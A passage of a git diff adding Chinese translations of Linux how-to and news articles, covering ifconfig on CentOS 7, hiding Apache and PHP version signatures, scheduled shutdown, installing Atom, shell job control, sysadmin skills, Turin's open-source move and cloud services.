brd 00:00:00:00:00:00 + RX: bytes packets errors dropped overrun mcast + 0 0 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 0 0 0 0 0 0 + 2: venet0: mtu 1500 qdisc noqueue state UNKNOWN mode DEFAULT + link/void + RX: bytes packets errors dropped overrun mcast + 8515667 6667 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 300403 4249 0 0 0 0 + +### 在CentOS 7最小化服务器版本中如何启用并使用“ifconfig”命令? ### + +如果你不知道在哪里可以找到ifconfig命令,请按照以下简单的步骤来找到它。首先,让我们找出哪个包提供了ifconfig命令。要完成这项任务,输入以下命令: + + yum provides ifconfig + +输出样例: + + Loaded plugins: fastestmirror + Loading mirror speeds from cached hostfile + * base: centos.aol.in + * extras: centos.aol.in + * updates: centos.aol.in + net-tools-2.0-0.17.20131004git.el7.x86_64 : Basic networking tools + Repo : @base + Matched from: + Filename : /usr/sbin/ifconfig + +或者你也可以使用以下命令。 + + yum whatprovides ifconfig + +这里,“provides”或者“whatprovides”开关用于找出某个包提供了某些功能或文件。 + +就像你在上面的输出中所看到的,**net-tools**包提供了ifconfig命令。因此,让我们安装net-tools包来使用ifconfig命令。 + + yum install net-tools + +现在,你就可以像以往一样使用**ifconfig**命令了。 + + ifconfig -a + +输出样例: + + lo: flags=73 mtu 16436 + inet 127.0.0.1 netmask 255.0.0.0 + inet6 ::1 prefixlen 128 scopeid 0x10 + loop txqueuelen 0 (Local Loopback) + RX packets 0 bytes 0 (0.0 B) + RX errors 0 dropped 0 overruns 0 frame 0 + TX packets 0 bytes 0 (0.0 B) + TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 + + venet0: flags=211 mtu 1500 + inet 127.0.0.1 netmask 255.255.255.255 broadcast 0.0.0.0 destination 127.0.0.1 + unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 0 (UNSPEC) + RX packets 7073 bytes 8549159 (8.1 MiB) + RX errors 0 dropped 0 overruns 0 frame 0 + TX packets 4611 bytes 359201 (350.7 KiB) + TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 + + venet0:0: flags=211 mtu 1500 + inet 192.168.1.101 netmask 255.255.255.255 broadcast 192.168.1.101 destination 192.168.1.101 + unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 0 (UNSPEC) + +尽情享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/ifconfig-command-found-centos-7-minimal-installation-quick-tip-fix/ + +作者:[Senthilkumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ diff --git a/published/201408/20140813 Linux FAQs with Answers--How to turn off server signature on Apache web server.md b/published/201408/20140813 Linux FAQs with Answers--How to turn off server signature on Apache web server.md new file mode 100644 index 0000000000..a4feb3c2d7 --- /dev/null +++ b/published/201408/20140813 Linux FAQs with Answers--How to turn off server signature on Apache web server.md @@ -0,0 +1,74 @@ +Linux常见问题与答案—如何在Apache网站服务器上关闭服务器签名 +================================================================================ +>**问题**:每当Apache2网站服务器返回错误页时(如,404 页面无法找到,403 禁止访问页面),它会在页面底部显示网站服务器签名(如,Apache版本号和操作系统信息)。同时,当Apache2网站服务器为PHP页面服务时,它也会显示PHP的版本信息。我如何在Apache2网站服务器上关闭这些网站服务器签名呢? + +透露网站服务器带有服务器/PHP版本信息的签名会带来安全隐患,因为你基本上将你系统上的已知漏洞告诉给了攻击者。因此,作为服务器加固的一个部分,强烈推荐你禁用所有网站服务器签名。 + +![](https://farm4.staticflickr.com/3897/14902970545_c3d406322f_o.png) + +### 禁用Apache网站服务器签名 ### + +禁用Apache网站服务器签名可以通过编辑Apache配置文件来实现。 + +在Debian,Ubunt或者Linux Mint上: + + $ sudo vi /etc/apache2/apache2.conf + +在CentOS,Fedora,RHEL或者Arch Linux上: + + $ sudo vi /etc/httpd/conf/httpd.conf + +将下面两行添加到Apache配置文件底部。 + +> ServerSignature Off +> +> ServerTokens Prod + +然后重启网站服务器以使修改生效: + + $ sudo service apache2 restart (Debian, Ubuntu or Linux Mint) + $ sudo service httpd restart (CentOS/RHEL 6) + $ sudo systemctl restart httpd.service (Fedora, CentOS/RHEL 7, Arch Linux) + +第一行‘ServerSignature Off’使得Apache2网站服务器在所有错误页面上隐藏Apache版本信息。 + +![](https://farm6.staticflickr.com/5556/14879982016_7c7b8bbf3d_o.png) + +然而,若没有第二行的‘ServerTokens Prod’,Apache服务器将仍然在HTTP回应头部包含详细的服务器标记,这会泄漏Apache的版本号。 + +![](https://farm4.staticflickr.com/3889/14902970535_e84ec23090_z.jpg) + +第二行‘**ServerTokens Prod**’所要做的是在HTTP响应头中将服务器标记压缩到最小。 + +因此,同时放置两行时,Apache将不会在页面中或者HTTP响应头中泄漏版本信息。 + +![](https://farm4.staticflickr.com/3902/14902970505_d79225f25d_z.jpg) + +### 隐藏PHP版本 ### + +另外一个潜在的安全威胁是HTTP响应头中的PHP版本信息泄漏。默认情况下,Apache网站服务器通过HTTP响应头中的“X-Powered-By”字段包含有PHP版本信息。如果你想要在HTTP头部中隐藏PHP版本,请使用文本编辑器打开php.ini文件,找到“expose_php = On”这一行,将它改为“expose_php = Off”即可。 + +![](https://farm4.staticflickr.com/3853/14899917981_aaef71eb0a.jpg) + +在Debian,Ubunt或者Linux Mint上: + + $ sudo vi /etc/php5/apache2/php.ini + +在CentOS,Fedora,RHEL或者Arch Linux上: + + $ sudo vi /etc/php.ini + +> expose_php = Off + +最后,重启Apache2网站服务器来重新加载已更新的PHP配置文件。 + +现在,你不会再看到带有“X-Powered-By”字段的HTTP响应头了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/turn-off-server-signature-apache-web-server.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140818 How To Schedule A Shutdown In Ubuntu 14.04 [Quick Tip].md b/published/201408/20140818 How To Schedule A Shutdown In Ubuntu 14.04 [Quick Tip].md new file mode 100644 index 0000000000..2ec4b4bb17 --- /dev/null +++ b/published/201408/20140818 How To Schedule A Shutdown In Ubuntu 14.04 [Quick Tip].md @@ -0,0 +1,42 @@ +[快速技巧]如何设定你的 Ubuntu 14.04 自动关机 +=== + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Schedule_Shutdown_Ubuntu.jpeg) + +当你系统还在运行某些程序的时候,无法关闭计算机,但是你又不能让计算机跑一整夜!可能你会发现你曾面临相似的处境:你需要在Ubuntu或者其它Linux系统下设定计算机自动关机。 + +在这篇文章中,我们就来看看如何使用GUI或者在CLI下设定你的Ubuntu关机. + +### 使用EasyShutdown设定你的Ubuntu关机 ### + +EasyShutdown是一个轻量级的应用程序,它提供给你简洁的GUI,你可以很容易就能设定你的Ubuntu关机。你可以在[EasyShutdown的launchpad页面下载.deb文件][1]。只要双击它,就可以安装了。默认情况下,它会打开Ubuntu Software Center + +安装完成,从Unity Dash启动它。界面非常简单,你只需要提供你想关机的时间就可以了。举个例子:如果你想在03:30 AM关机,像下图那样操作: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Schedule_Shudown_Ubuntu.jpeg) + +请注意:EasyShutdown并没有后台程序或者系统托盘,所以,你必须让它一直运行,否则将不能正常工作。但EasyShutdown的优点是:它会在你安排关机时间的前一分钟通知你,那样你就可以选择停止它。 + +### 使用命令行设定Ubuntu关机 ### + +使用命令行选项来**安排Ubuntu关机**同样很简单。你要做的就是使用“shutdown”命令。举个例子:想在03:30 AM关机,你可以使用下面的命令: + + sudo shutdown -h 03:30 + +注意,你必须一直运行这个命令。所以要么保持这个终端,要么在后台运行。 + +我希望这些快速技巧可以帮助您学会如何设定Ubuntu或者其余Linux系统自动关机,比如Linux Mint。如有问题或者建议欢迎您随时提出。 + +--- + +via: http://itsfoss.com/schedule-shutdown-ubuntu/ + +作者:[Abhishek][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:https://launchpad.net/easyshutdown + diff --git a/published/201408/20140818 Install Atom Text Editor In Ubuntu 14.04 & Linux Mint 17.md b/published/201408/20140818 Install Atom Text Editor In Ubuntu 14.04 & Linux Mint 17.md new file mode 100644 index 0000000000..17cff6a4af --- /dev/null +++ b/published/201408/20140818 Install Atom Text Editor In Ubuntu 14.04 & Linux Mint 17.md @@ -0,0 +1,56 @@ +在 Ubuntu 14.04 和 Linux Mint 17 上安装 Atom 文本编辑器 +=== + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Install_Atom_In_Ubuntu_Linux_Mint.jpeg) + +[Atom][1]是[Github][2]上时髦的,功能丰富的开源文本编辑器。目前,它正处于测试阶段,但如果你对它很好奇,那我们就来看看**如何在 Ubuntu 14.04 和 Linux Mint 17 上安装 Atom** + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Atom_Editor.jpeg) + +无论是在外观,还是在功能上,Atom 都有很多与[Sublime Text editor][3]相似之处。Sublime Text editor是一个功能强大,并深受程序员喜爱的跨平台文本编辑器,可惜它是闭源的。事实上,在Sublime Text的灵感下,Atom 并不是唯一即将到来的文本编辑器。[Lime Text][4]是 Sublime Text 的开源克隆,目前正处于开发中。 + +废话不多说,让我们来看看如何在 Ubuntu 14.04 和 Linux Mint 17 下安装 Atom 编辑器。 + +### 通过PPA源,在Ubuntu和Linux Mint下安装Atom ### + +因为 Atom 正处于测试阶段,截止到我写这篇文章前,还没有 Linux 下的二进制文件。但是不用担心,你不需要亲自去编译这些代码(当然如果你乐意的话,你也可以这么做)。感谢[Webupd8 team’s][5]的努力,我们拥有了一个可以很容易将 Atom 安装在32位和64位系统上的PPA。 + +打开终端,然后使用下面的命令行: + + sudo add-apt-repository ppa:webupd8team/atom + sudo apt-get update + sudo apt-get install atom + +就这么简单,你可以通过 Ubuntu 下的 Unity Dash 和 Linux Mint 里的应用程序菜单启动 Atom 编辑器。 + +### 从Ubuntu和Linux Mint卸载Atom ### + +可能,你想要从系统中卸载 Atom 的原因有很多种。不稳定可能是主要原因之一。好吧,不管什么原因,我来说下怎么卸载Atom: + + sudo apt-get remove atom + sudo add-apt-repository --remove ppa:webupd8team/atom + +这些命令会移除 Atom 和 PPA 仓库,运行 auto remove 也是个好方法: + + sudo apt-get autoremove + +### 你有哪些使用 Atom 的体验? ### + +如果你尝试了Atom,请和我们分享你的体验。你觉的它会成为你最喜欢的文本编辑器吗? + +--- + +via: http://itsfoss.com/install-atom-text-editor-ubuntu-1404-linux-mint-17/ + +作者:[Abhishek][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:https://atom.io/ +[2]:https://github.com/ +[3]:http://www.sublimetext.com/ +[4]:http://itsfoss.com/lime-text-open-source-alternative/ +[5]:https://launchpad.net/~nilarimogard/+archive/ubuntu/webupd8 diff --git a/published/201408/20180813 Command Line Tuesdays--Part Eight.md b/published/201408/20180813 Command Line Tuesdays--Part Eight.md new file mode 100644 index 0000000000..21fa109e65 --- /dev/null +++ b/published/201408/20180813 Command Line Tuesdays--Part Eight.md @@ -0,0 +1,68 @@ +命令行星期二——第八部分 +================================================================================ +唷,唷,极客们!我们回来了,来完成最后一章的CLT。今天,我们将讨论一下任务控制。在这个里头,我们也将学习怎样来控制运行在我们计算机上的进程! + +### 一个例子 ### + +正如我们所学的,我们可以直接在CLI中输入程序名称来运行该程序。例如,dolphin。如果我们输入: + + dolphin + +……dolphin,这个文件管理器,就打开了。如果在这个进程打开时你查看终端,你会发现不能访问命令提示符了,而且你也不能在同一个窗口中写一个新命令进去了。如果你终止dolphin,提示符又会出现了,而你又能输入一个新命令到shell中去了。那么,我们怎么能在CLI运行一个程序时,同时又能获得提示符以便进一步发命令。 + + dolphin & + +……现在你让dolphin文件管理器在后台运行了,终端就可以空出来输入你需要的另外一个命令了。 + +现在,假设你忘了在dolphin后面输入‘&’字符,你只需要输入‘ctrl+z’,它会停止你的进程并把它放到空闲列表中去。要继续停止的进程,输入: + + bg + +……它会从后台重启进程。 + +### jobs, ps ### + +由于我们在后台运行着进程,你可以使用jobs或者使用ps来列出它们。试试吧,只要输入jobs或者输入ps就行了。下面是我得到的结果: + + nenad@linux-zr04:~> ps + PID TTY TIME CMD + 8356 pts/1 00:00:00 bash + 8401 pts/1 00:00:00 dolphin + 8406 pts/1 00:00:00 kbuildsycoca4 + 8456 pts/1 00:00:00 ps + +### 杀死进程 ### + +如果有个进程无响应了,怎么来处理掉它呢?可以使用kill命令。让我们在先前提到的dolphin进程上试试。首先,我们必须使用ps来鉴别该进程的PID。在我上述情况中,dolphin的PID是8401。那么让我们来杀死它,我只要输入: + + kill 8401 + +……那么,它就把dolphin给杀死了。 + +### kill的更多细节 ### + +kill的存在,不仅仅是为了终止进程,它最初是设计用来发送信号给进程。当然,有许多kill信号可以使用,根据你使用的应用程序不同而不同。请看下面的表: + +![](https://news.opensuse.org/wp-content/uploads/2014/08/snapshot1.png) + +务必试试这些信号。 + +### 结尾 ### + +我们以本节课来结束我们的CLT系列和周二必达,我希望其他像我这样的新手们能设法在他们的思想中摆脱控制台的神秘而学习掌握一些基本技能。现在对你们而言,所有剩下来要做的事,就是尽情摆弄它吧(只是别把“/”目录搞得太乱七八糟,因而你也不会诋毁什么东西了 :D)。 + +我们将在不久的将来看到其它更多的东西,因为有更多的系列文章来自这些文章的出处。别走开,同时…… + +### ……尽情享受! ### + +-------------------------------------------------------------------------------- + +via: https://news.opensuse.org/2014/08/12/command-line-tuesdays-part-eight/ + +作者:[Nenad Latinović][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://news.opensuse.org/author/holden87/ diff --git a/published/201408/Linux System Administration Skills are Changing.md b/published/201408/Linux System Administration Skills are Changing.md new file mode 100644 index 0000000000..020f471f86 --- /dev/null +++ b/published/201408/Linux System Administration Skills are Changing.md @@ -0,0 +1,48 @@ +正在经历变革的 Linux 系统管理员技能 +================================================================================ +你上次编译内核是多久以前的事儿了?新生代 Linux 管理员的答案很简单:我压根儿没编译过内核。我也从没编译过内核,当然自己弄着玩儿的不算。我实在想不到我为啥需要自定义内核,所以我就用我的“开箱即用”内核了。 + +Linux 老鸟们可能会笑话我们,但你不能否认:随着越来越多的企业采用 Linux,新生代的 Linux 管理员虽然生就一身相当不错的技术实力,却因缺乏编译内核这类简单却基础的技能而和一个优秀的 Linux 管理员之间存在差距。我们能用时下最前沿的技术搭建一套高性能、高可用的 Web 基础设施,但你别让我们修理一台无法启动的 Linux 机器——我们会建议你扔了它,然后换个新的虚拟机。 + +过去的十来年里发生了很多有意思的事儿:Linux 不但变成了商品,而且其层出不穷的发行版也越来越强大和灵活。如今,一个普通的系统管理员完全不必掌握编译内核这类底层技能了。 + +然后,我们又见证了虚拟机技术的商品化。使用 Amazon 云主机或者 VPS 的用户也许永远不用在裸机上部署 Linux。随着混合云和私有云的日益普及,甚至很多企业级的系统管理员都不需要在裸机上部署 Linux——登录 Web 管理界面,一次性就能搞定不止 5 台 Apache 虚拟机。 + +时下最新的两个趋势:一个是配置管理,另一个看起来很前沿(其实一点儿都不前沿)—— 像 docker 这样的部署工具包,它们隐藏了更多 Linux 底层技术细节。每当客户要求我们在 [OlinData][1] 上配置 Linux 机器时,我们的第一个动作就是架设 [Puppet][2]。有了功能强大值得信赖的 Puppet 模块,手工配置也更快更简单了。 + +例如,我可以这样使用 Puppet 在新机器上安装 Apache: + + node 'web01.olindata.com' { + include apache + apache::vhost{ 'www.olindata.com': + docroot => '/var/www/olindata' + } + } + +在这种环境下,我甚至都不用在机器上打开日志。通过 [Jenkins][3] 这样的不间断部署工具,我可以完全自动化部署我的基础设施代码,并确保它们通过了我预置的测试。 + +### 系统管理员技能日益升级 ### + +就算有更新的工具对我们隐藏更多的技术细节,坚持 Linux 训练对系统管理员来说仍然很有价值。了解基础知识很关键,这些抽象高级工具把管理员从旧的任务中解放了出来,那么系统管理员就应该强化自己使用这些高级工具的能力。熟悉高级工具对系统管理员提升层次来说很关键,这会迫使系统管理员不断练习编写代码一类的能力,并借此发挥这些新玩意儿更大的潜力。 + +底层 Linux 技能需求会完全消失么?当然不会。除了商业服务器部署之外,Linux 还有大量其他用途。同时,人们也从底层操作知识中获益颇丰。最重要的是,如果你的简历上体现出了这些技能,我(还有很多其他老板)总是会优先选择你,而不是那些尚未掌握这些技能的候选人。因为你也不知道啥时候你就用上这些技能了! + +---------- + +Walter Heck 是 荷兰开源培训顾问公司 Olindata(一个 Linux 基金会授权的培训机构)的创始人兼 CEO,这里是计划中[由 OlinData 提供的 Linux 基金会官方培训课程单][4]. + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/enterprise/systems-management/780956-linux-system-administration-skills-are-changing + +原文作者:[Walter Heck][a] + +译者:[sailing](https://github.com/blueabysm) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/59207 +[1]:http://olindata.com/ +[2]:http://puppetlabs.com/ +[3]:http://jenkins.org/ +[4]:http://www.olindata.com/training/upcoming?technology=295 diff --git a/published/201408/Turin To Be The First Italian Open Source City.md b/published/201408/Turin To Be The First Italian Open Source City.md new file mode 100644 index 0000000000..32934b0be4 --- /dev/null +++ b/published/201408/Turin To Be The First Italian Open Source City.md @@ -0,0 +1,30 @@ +都灵市成为意大利首个开源城市 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/08/Turin-city-790x524.jpg) + +都灵当局决定采用开源软件,与 Microsoft 产品划清界限。此举为当地政府节约了大量经费。 + +这次的迁移任务旨在摆脱专利软件,使都灵市成为意大利首个开源城市,并节约大约 600 万欧元财政支出。600 万欧元啊!!!真是一笔巨款,对吧? + +据 [republica.it][1] 网站的统计数据,当地行政部门大约 8300 台计算机不久将安装预装了 Mozilla Firefox 浏览器和 Open Office 的 Ubuntu。和 Microsoft Office 以及 Internet Explorer 说再见吧。 + +与其花费大量经费购买授权许可和专利软件,为什么就不试试更好的且免费的解决方案呢?如果都灵市全面升级一次 Windows 操作系统,你们知道需要花多少钱吗? + +2200 万欧元!那你知道如果当地行政部门使用 Ubuntu 的话,这笔钱能节约多少吗?嗯,如果他们使用 Ubuntu,600 万欧元就省下来了,你算算这笔账。 + +欧洲很多城市都意识到了,作为 IT 基础设施,Linux 是比 Windows 更好的解决方案。举个例子,德国慕尼黑市就抛弃了 Microsoft 转而使用开源软件。据慕尼黑公布的数据,这一举动为其节约了约 1000 万欧元。 + +大家怎么看都灵的这次决定?在文章下方留言说说你的想法吧。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/turin-first-italian-open-source-city/ + +作者:[oltjano terpollari][a] +译者:[sailing](https://github.com/blueabysm) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/oltjano/ +[1]:http://torino.repubblica.it/cronaca/2014/08/03/news/il_comune_rinnova_i_pc_e_d_laddio_a_microsoft_risparmiamo_6_milioni-93067980/?ref=search diff --git a/published/201409/20140610 How does the cloud affect the everyday linux user.md b/published/201409/20140610 How does the cloud affect the everyday linux user.md new file mode 100644 index 0000000000..f467fe5b04 --- /dev/null +++ b/published/201409/20140610 How does the cloud affect the everyday linux user.md @@ -0,0 +1,195 @@ +“云”是怎么影响着每一位linux用户的? +================================================================================ +### “云”简介 ### + +不论是报纸、在线资讯、播客、科技博客、科技门户网站,甚至是电台和电视。“云计算”永远都是人们津津乐道的主题。 + +然而,因为“云计算”包含了太多的东西,现在并没有一个明确的定义,所以你认为“云计算”应该是什么呢? + +> **云计算** 过去常常被当做是网络计算的一个模型,网络计算就是把用户程序或者是应用运行在一个联网的服务器或是一个服务器集群,而不是像个人电脑、平板以及智能手机这一类运算设备。比如像传统的client-server (客户机-服务器模型) 和老一代的大型机,^[1] 用户通过连接服务器来执行一项任务。这和“云计算”是不同的,“云计算”是利用虚拟化的技术,把运算进程运行在一个或多个服务器上。利用虚拟技术,越来越多的物理化的服务器被配置和划分成多个独立的“虚拟”服务器,每个服务独立运行,对于用户来说,就像是运行在一个独立的物理服务器上一样。虚拟服务器本质上还是从他们的物理服务器中分离出来的,由于这种灵活的配置方式,使得人们可以按照意愿移动服务器和按比例分配资源而不影响最终的用户体验。计算机资源已成“颗粒”,给用户和管理人员提供方便,包括提供按需自助服务,支持更广泛的跨平台之间的访问,资源共享,快速重新部署,可被监控与量测服务。^[2] + +以上引用摘自维基百科。 + +在过去,我们要么用哑终端连接大型电脑主机,要么近年来使用桌面电脑连接运行在内部服务器上的应用,就像网站连接数据库一样。 + +现在,所有桌面、应用和服务器的管理都已经本地化,都需要来自它们所属公司的技术支持。 + +然而这只对软件公司等少数的公司有利,却对其他的一些商业公司不利,比如说银行、保险公司和石油公司。信息技术公司没有银行的职能,就好像是做餐饮的钻不出地下的石油一样。 + +大公司早已把很多服务外包给专业的公司。例如,让餐饮公司为他们的员工提供食堂,以及我们所熟知的离岸呼叫中心处理银行业务的客户电话。 + +IT 行业的很多服务也逐渐转向外包,许多的技术支持和开发的业务都被打包给中国、印度、马来西亚和东欧。 + +云计算与传统的典型模型有很大不同的一方面在于虚拟化,这种虚拟化的技术把服务运行于虚拟服务器上,服务器可以被放置在同一个地方或者是相隔千山万水,但是,这并不重要,你也不用担心,因为那不是你该担心的事情。 + +> 现在,“云计算”已经成为云计算基础设施的简称。^[4] 这个术语来源于早年一些网络工程师用云状的符号表示那些对他们来说未知的网络。^[5] 后来,营销者普及了这个云的概念,指的是软件、平台和一些可以买卖的基础设施。比如,远程登录互联网。 + +因此,这篇文章讲述了和云相关的所有,对于linux的用户来说,这意味着你想用它做什么和它能为自己做些什么,当然,这有可能也会给我们造成一些误区。 + +从一个终端用户和家庭使用者的角度来看,云计算最基本的就是提供在线服务。 + +所以,让我们来说一说云能到底能给每一位linux用户提供些什么有用的服务? + +### 电子邮件 ### + +当你读到这里的时候,如果你还没有一个电子邮箱,我只能说你OUT了。 + +据PC杂志顾问统计分析,截至2014三月份,电子邮箱的用户最多的前六名分别是Outlook、GMail、Yahoo、icloud、AOL和GMX。 + +### 办公套件 ### + +和电子邮件客户端一样,对于每个人来说,另一个最常用的工具之一就是办公套件。 + +在以前,当人们刚刚进入电脑世界的时候,买一个电脑会带回一个超大型的机器和半打子CD,刻着几个没用的 Microsoft Works ( 微软工作软件 )。 (LCTT译注:Microsoft Works Mirosoft Works是微软的一种家用综合软件,它主要面向低端的家庭用户,提供基本的能提高生活效率的工具,比如提供简单的文档处理、数据库、电子表格的入门级办公包功能。) 微软工作软件是一个廉价,而且无用到几乎要被砍掉的微软office版本。 + +而现在,你甚至不需要在你的电脑上安装任何的办公套件,即便是有LibreOffice和Kingsoft这样好的软件供选择。 + +最好的选择当然是Google Docs和Office 365。对于Office 365能否很好的运行于Linux平台,这篇来自2012期专业电脑的文章似乎说明了这个问题。 + +![](http://www.linuxnews.pro/wp-content/uploads/2014/06/office365_1.png) + +有人说这怎么可能呢,我不相信,所以,我注册并登录了Office 365,想看看到底是什么情况。 + +注册,可以免费试用一个月,并且会赠送包括Word、Excel、和Outlook等一些在线应用。 + +![](http://www.linuxnews.pro/wp-content/uploads/2014/06/office365_2.png) + +一切看起来都挺好,我打开了Microsoft Word,选择了一个模板来使用,当然根本就没有打开成功。 + +Office 365 并没有很好的支持linux设备,况且,说实话,你也不需要这东西。so,咱们继续。 + +![](http://www.linuxnews.pro/wp-content/uploads/2014/06/office365_3.png) + +Google Docs对于一般的办公支持非常完美,它能完成很多的事情,并且有很多的模板针对文字处理,演示工具,电子表格等。即使它始终也代替不了Excel,因为他并没有成百上千的开发人员为其创建宏和编写VBA脚本。 + +![](http://www.linuxnews.pro/wp-content/uploads/2014/06/zoho_1.png) + +另一个可供选择的办公套件是Zoho。 + +和Google Docs一样,Zoho也包含有文字处理工具,演示程序,电子表格程序和电子邮件。 + +此外,还有很多金融和客户管理系统。 + +![](http://www.linuxnews.pro/wp-content/uploads/2014/06/zoho_2.png) + +这个工具的界面看起来真的很简洁,很棒。 + +它和Google Docs和Zoho这些在线服务一样,给予了人们相互协作的便利。 + +很多文档被不同的人分享,然后在不同的地方被不同的人修改完善。 + +这里会给出一些理由来帮助你从Google Docs和Zoho中选择一个适合你的办公套件。 + +### 在线文件存储 ### + +Google Docs和Zoho给我们提供了其他一些很好的服务,就是很好的线上存储能力,你们可以线上存储很多文档和创建很多文件。 + +也有一些其他的服务,比如说Dropbox,仅仅只提供在云存储服务。 + +像Dropbox这样的云存储的好处是如果你的东西被偷了或者是不小心房子着火了,而这时,你仍然有一份离岸备份是安好无缺的。你仍然可以在任何地方获取你的文件。 + +Dropbox对于前2G的容量是免费的,如果你还有更多的东西要存储,每天还有更多的事情要做,每个月只要9.9美刀,你就能拥有100G的存储空间,另外,Dropbox也提供商务版本,每个月15美刀。 + +当然,并不是说Dropbox没有可替代的方案,这个网站也提供了很多很好的一些在线备份的方案。 + +### 相册 ### + +自从有了数码照相机和智能手机,现在越来越多的人们利用存储卡来保存照片。 + +我相信肯定有人因为电话坏了而丢失照片,因为他的照片是存储在电话上的,而不是其他的存储设备,甚至,有些因为丢失了电话而丢失了他们孩子的运动会照片或者是其他一些具有纪念意义的照片资料。 + +丢失电话肯定不是什么好事情,如果你放机灵一点,情况可能要好一点,因为很多人的电话和email,facebook,Twitter的账户是同步的,甚至在线存储也是。 + +当然,丢失手机时,我们可以更改以上那些账户的密码,可是丢失的照片却是再也找不回来了,这让人有一点点伤心。 + +备份资料到电脑当然是一种很好的解决方法,不过要是你的笔记本哪天不小心坏了,你也只能变得一无所有,从头再来。 + +在线照片存储的网站是一个很好的资源,因为他们不止要保证你的照片的安全,你也可以很方便的把照片分享给你选择的人。省去了那些把同样的照片做无数次的拷贝分别发给妈妈,奶奶,妹妹,阿姨和岳母等各种亲戚朋友的麻烦。 + +我常用的一个是谷歌的Picasa相册工具,但是大家也可能听说过像Flickr这样的网络相册。 + +Lifehacker给出了最好的5个网络分享的相册。 + +请记住,他们仅仅是被称作相册分享工具,并不是说你一定要分享,你也可以自己保留他们。 + +### 音乐 ### + +我得到的第一个唱片是20世纪80年代初“Adam and the Ants”的"Kings of the wild frontier"里的一个12英寸的碟子。 + +在20世纪80年代后的很长一段时间里,唱片逐渐被磁带所取代,就好像是我积累了很多的磁带以后,磁带却被CD所取代。 + +后来,成百上千的CD和MP3越来越普遍,直至成为了一种潮流。 + +而音频流媒体始终也跟着潮流一起进步,比如像Spotify。 + +Spotify是一个免费的软件,但是里面包含广告,对于使用的人们而言,它就像是一个你可以定制的私人电台,当然你也可以交月费来去除广告。 + +Grooveshark和last.fm也有提供很多相似的服务。 + +Techradar给出了7种Spotify的替代方案。 + +### 电影 ### + +小飞象 (Dumbo) 是我最早在电影院看的一部电影。而我最早接触录像是“Krull”,它讲述了Dulph Lundgren的年轻时候的经历,录像的格式是Beta Max。(当时我的邻居就有一个) 。 + +有一天,爸爸从收音机租赁处带回来一个录像机,我和我的姐姐就轮流去录像店租带子看。我清楚的记得,我第一次租的带子名字叫“黑洞”(The Black Hole)。 + +直到有声电影的出现,你就不得不拿一个很大的东西来装电影带子,所以有些天才就发明了DVD,甚至是制造出了蓝光碟片。 + +现在,流媒体已经充斥着我们生活的每一天,要是你有个牛X的网络就更完美了。 + +其中,最出名的流媒体提供商是Netflix和Lovefilm (Netflix和Lovefilm都是在线的影片租赁公司)。 + +linuxnews给了我们一些更好的选择来替代Netflix,因为并不是所有的服务都能无缝的在linux上工作,包括Netflix。 + +### 游戏 ### + +继音乐,电影搬到线上以后,游戏也登上了在线的舞台。 + +对游戏来说就要困难一些,因为音乐只占用很少的带宽,而电影的要求相对高一点,但是也仅仅是为了得到一幅清晰的画面。 + +游戏始终需要很高的帧速支持,不然即使你手上有一个很好玩的游戏,可能也不值得去尝试。 + +当前,很多游戏服务商都有提供基于云的游戏,包括OnLive和StreamMyGame也有提供。 + +linuxnews给出了6个和OnLive竞争的游戏服务提供商。 + +### 争议 ### + +云计算也并不是没有争议。 + +首先,最大的问题就是安全问题,如果有人进入了你的在线存储空间和你的电子邮箱,并盗取了你的个人信息。 + +那么在线存储你都会存些什么呢?像Megaupload.com这样的网站,上面都有很多有价值的客户资料。 + +Megaupload.com这个网站本来提供的大容量文件的存储,而问题却是,很多人用它来分享一些有版权的资料,美国的当局就不依不饶的下来检查,所以这个服务被迫关掉了。 + +现在,因为很多人丢失了资料,当局的这样做也是无可厚非的,但是对于那些没有做错事的人来说,他们的数据资料也丢失了,美国当局拒绝还给本人。 + 